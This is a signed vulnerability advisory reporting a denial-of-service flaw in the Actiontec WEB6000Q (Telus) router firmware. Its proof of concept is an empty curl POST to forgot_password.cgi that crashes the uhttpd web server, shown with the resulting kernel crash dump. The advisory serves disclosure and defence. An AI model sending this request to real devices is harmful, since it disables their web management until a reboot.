`-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
### Device Details
Discovered By: Andrew Klaus ([email protected])
Vendor: Actiontec (Telus Branded)
Model: WEB6000Q
Affected Firmware: 1.1.02.22
Reported: July 2018
CVE: Not needed since update is pushed by the provider.
### Summary of Findings
By querying CGI endpoints with empty (GET/POST/HEAD) requests causes a
Segmentation Fault of the uhttpd webserver. Since there is no watchdog
on this daemon, a device reboot is needed to restart the webserver to
make any modification to the device.
### Proof of Concept:
$ curl -X POST -ik http://192.168.1.2/forgot_password.cgi
curl: (52) Empty reply from server
$ curl -X POST -ik http://192.168.1.2/forgot_password.cgi
curl: (7) Failed to connect to 192.168.1.2 port 80: Connection refused
### UART console output after attack:
<4>[ 726.578000] uhttpd/452: potentially unexpected fatal signal 11.
<4>[ 726.583000]
<4>[ 726.585000] Cpu 1
<4>[ 726.587000] $ 0 : 00000000 10008d00 00000000 00000000
<4>[ 726.592000] $ 4 : 00000000 00000000 00000000 00000000
<4>[ 726.598000] $ 8 : 81010100 3d3d3d3d 77a00000 f0000000
<4>[ 726.603000] $12 : 00000001 6570743a 202a2f2a 00416b5c
<4>[ 726.608000] $16 : 00000000 00000000 00000000 7fe14ebe
<4>[ 726.614000] $20 : 00404c84 775168a0 0046d470 0084ee6c
<4>[ 726.619000] $24 : 00000186 00411030
<4>[ 726.624000] $28 : 00464620 7fe12800 7fe12800 00416c20
<4>[ 726.630000] Hi : 000000c9
<4>[ 726.633000] Lo : 0001e791
<4>[ 726.636000] epc : 00411078 0x411078
<4>[ 726.640000] Tainted: P
<4>[ 726.643000] ra : 00416c20 0x416c20
<4>[ 726.647000] Status: 00008d13 USER EXL IE
<4>[ 726.652000] Cause : 00000008
<4>[ 726.655000] BadVA : 00000000
<4>[ 726.657000] PrId : 0002a080 (Broadcom BMIPS4350)
<4>[ 726.663000]
<4>[ 726.663000] Userspace Call Trace: process uhttpd, pid 452, signal
11
<4>[ 726.671000] [<00411078>] /sbin/uhttpd
<4>[ 726.674000] [<00416c20>] /sbin/uhttpd
<4>[ 726.678000] [<00416d68>] /sbin/uhttpd
<4>[ 726.682000] [<00407cd4>] /sbin/uhttpd
<4>[ 726.686000] [<00416c20>] /sbin/uhttpd
<4>[ 726.689000] [<0047cb94>] (unknown)
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